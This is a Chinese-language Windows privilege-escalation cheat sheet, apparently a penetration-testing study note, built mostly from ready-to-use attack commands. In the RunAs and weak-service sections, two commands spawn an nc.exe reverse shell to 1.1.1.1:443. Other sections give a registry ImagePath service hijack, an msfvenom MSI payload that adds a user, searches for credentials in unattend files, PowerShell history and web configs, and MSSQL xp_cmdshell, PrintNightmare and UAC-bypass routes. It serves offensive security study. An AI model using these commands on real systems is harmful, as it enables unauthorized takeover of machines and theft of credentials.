男儿若遂平生志,五经勤向窗前读。
导航
-
[壹 - Se 特权](#壹 - Se 特权)
-
[贰 - RunAs](#贰 - RunAs)
-
[叁 - 弱服务](#叁 - 弱服务)
-
[肆 - Windows 内核](#肆 - Windows 内核)
-
[伍 - 密码搜寻](#伍 - 密码搜寻)
-
[陆 - 杂项](#陆 - 杂项)
-
[柒 - 服务程序](#柒 - 服务程序)
- MSSQL
- [MySQL UDF](#MySQL UDF)
- PrintNightmare
- [不安全的 GUI 程序](#不安全的 GUI 程序)
-
[捌 - 自动化工具](#捌 - 自动化工具)
壹 - Se 特权
- 检查当前用户是否拥有感兴趣的 Se 特权 ,如 SeImpersonatePrivilege/SeAssignPrimaryPrivilege、SeBackupPrivilege、SeRestorePrivilege/SeTakeOwnershipPrivilege 等。【命令
whoami /priv
】 - 若拥有 SeImpersonatePrivilege 特权,则展开土豆提权。【利用方法】
- 若拥有 SeBackupPrivilege 特权,则需先进行 SAM/SYSTEM 文件提取,然后开始 PTH 攻击提权。【利用方法】
- 至于其它特权所拥有的可利用特性,可根据此仓库内容进行研究探索。
贰 - RunAs
- 检查当前环境是否拥有任何存储的凭证 。【命令
cmdkey /list
】 - 若发现凭证 ,则可使用
runas /env /noprofile /savecred /user:admin "c:\temp\nc.exe 1.1.1.1 443 -e cmd.exe"
来进行权限移动。 - 若通过下文的密码搜寻获得了用户的密码信息 ,则可参考该文章进行权限移动。
叁 - 弱服务
- 弱服务的枚举最好还是通过工具 PowerUp 和 winPEAS 去自动分析,手工分析较为繁琐。弱服务类别如下:
- 弱服务 权限:用户对服务自身具有修改权限,故可通过 sc 命令修改服务的启动程序路径或服务启动身份。【命令
sc config Juggernaut binPath= "C:\temp\nc.exe 1.1.1.1 443 -e C:\windows\system32\cmd.exe"
】【更多详情】 - 弱注册表 权限:用户对服务所对应的注册表具有写入权限,故可通过 reg 命令间接修改 服务启动程序路径或服务启动身份的动作。【命令
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Juggernaut" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\shell.exe" /f
】【更多详情】 - 弱文件/目录 权限:用户对服务启动程序所在目录具有写入权限,故可对启动程序进行替换。【更多详情】
- 未引用 的服务路径:(1)服务启动程序的绝对路径存在空格且没有使用双引号包裹,触发系统按照路径优先级 逐层查找可执行文件。(2)在逐层查找的路径中,用户对其中一个目录具有写入权限。(3)依此在目录下写入一个 对应名称 的恶意程序。【更多详情】
- DLL 劫持:类似"弱文件/目录 权限"中替换服务启动程序一样,DLL 劫持会对服务启动程序所加载的 DLL 文件进行直接替换或间接劫持。
注意:在对服务进行利用之前,先知悉自己有没有触发服务重启的能力(重启服务[sc start *]、重启电脑),否则做了也是无用工。
肆 - Windows 内核
-
查看 OS 版本信息,确认 Windows 的新旧版本。【命令
systeminfo
】 -
Windows XP/7/Server 2008/Server 2012/其它更旧版本 都称为旧版 Windows 系统。旧版 Windows 系统可将 systeminfo.txt 内容交给自动工具 wesng 和 Windows Exploit Suggester 2 去离线分析,或在受害机本机使用 sherlock.ps1 脚本去分析,分析结果中交集的漏洞可优先实验。【更多详情】
-
Windows 10/Server 2016/Server 2019/ 其它更新版本 都称为新版 Windows 系统。新版 Windows 系统建议使用自动工具 winPEAS去受害机本地分析,或通过 kali 内置工具 Searchsploit 去离线手工查找。【更多详情】
-
优质内核漏洞利用推荐:
- PrintNightmare:几乎所有受支持的 Windows 版本。
- cve_2022_21882_win32k【MSF 亦支持】:几乎覆盖 Win10 所有版本。
- 其它已编译的内核漏洞
注意:Windows 内核漏洞的众多利用程序中,有一些是需要在 GUI 环境才能够正常使用的,这一点需特别注意。
伍 - 密码搜寻
- 无人值守文件常见路径,如下:
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.xml
C:\Windows\system32\sysprep\sysprep.xml
- 用户家目录中的
*.*
文件 。【命令dir /s /b c:\users\ | findstr .*\..*
】 - PowerShell 历史文件
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
- IIS 配置和 Web 文件
Get-Childitem -Recurse C:\inetpub | findstr -i "directory config txt aspx ps1 bat xml pass user"
结果中的 web.config、connectionstrings.config 文件,或类似的 config 文件。- 除了 IIS 默认使用的
C:\inetpub
目录外,还有这些目录值得注意:C:\apache
、C:\nginx
、C:\xampp
、C:\wamp
。
- 若能够登录 SQL 数据库,则遍历 系统内置库/用户自建库 中用户表中的账户密码。
陆 - 杂项
1、AlwaysInstallElevated
-
检查 AlwaysInstallElevated 功能是否开启。【值为 1 表示功能已启用】
cmdreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-
制作载荷
msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi -o /root/add.msi
2、开机自启
- 自启应用-目录:
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
【有写权限时,将程序或 bat 放入即可。】 - 自启应用-注册表:
reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
【(1)有注册表写权限时,可以在此键下面创建新键;(2)观察其中的子键程序路径,查看是否存在弱目录权限 或程序路径未引用的问题。】
注: 上述注册表路径中与 Run 同路径下的其它键 RunOnce、R、Runex、Runonceex 亦值得关注。RunOnce 子键中的程序在执行一次之后,该子键便被删除了。
柒 - 服务程序
在此之前,首先通过命令
netstat -anop tcp | findstr.exe LISTENING
确定在此系统中有哪些运行的服务可能是我们感兴趣的。
1、MSSQL
- 利用场景1:(1)拥有数据库登录账户,且能执行 xp_dirtree 指令。(2)尝试通过responder 捕获 MSSQL 服务账户的 NetNTLMv2 哈希值进行破解尝试。【利用方法】
- 利用场景2:(1)拥有数据库管理员账户 sa。(2)通过 xp_cmdshell 指令获得服务账户权限的 shell 反向连接。【利用方法】
- 注意:(1)获得的任何 MSSQL 数据库账户都值得去尝试是否有权限去执行 xp_dirtree、xp_cmdshell 指令,因为权限分配不严谨的问题时有发生。(2)任何服务账户的 Se 特权都可能比普通账户要多,故突破点也会变多,因此任何服务账户的获得都可能会出现意外惊喜。
2、MySQL UDF
- 利用条件:(1) mysqld 进程以管理员或 SYSTEM 身份运行。(2) 拥有高权限的数据库登录账户,如 root。(3) mysql 版本符合 4.x/5.x/[6.x?]。【命令
mysql -V
】 - 利用方法:参考链接1、参考链接2。
- 获取方式:命令 ``searchsploit mysql udf`,id1518。
3、PrintNightmare
- 利用场景1-RCE:(1)拥有一个标准用户凭证。(2)远程枚举 Print Spooler 服务正在运行。【命令
rpcdump.py @1.1.1.1 | egrep 'MS-RPRN|MS-PAR'
】【利用方法】 - 利用场景2-LPE:本地检查 Print Spooler 服务正在运行。【命令
sc query Spooler
】【利用方法】
4、不安全的 GUI 程序
- 利用条件:(1)已获得 GUI 交互界面。(2)搜寻那些默认以 auto-elevated 高权限运行的程序。
- 值得尝试的程序推荐:
- CompMgmtLauncher.exe
- eventvwr.exe
- taskschd.msc
- 控制面板-疑难解答-帮助和支持-打开命令提示符窗口。【win7 之前有该功能,win0 已移除。】
注:这些程序可能并不能够成功提权,但它们还有另一个作用是可以进行 UAC 绕过。虽然很鸡肋,但这个技巧还是值得保留。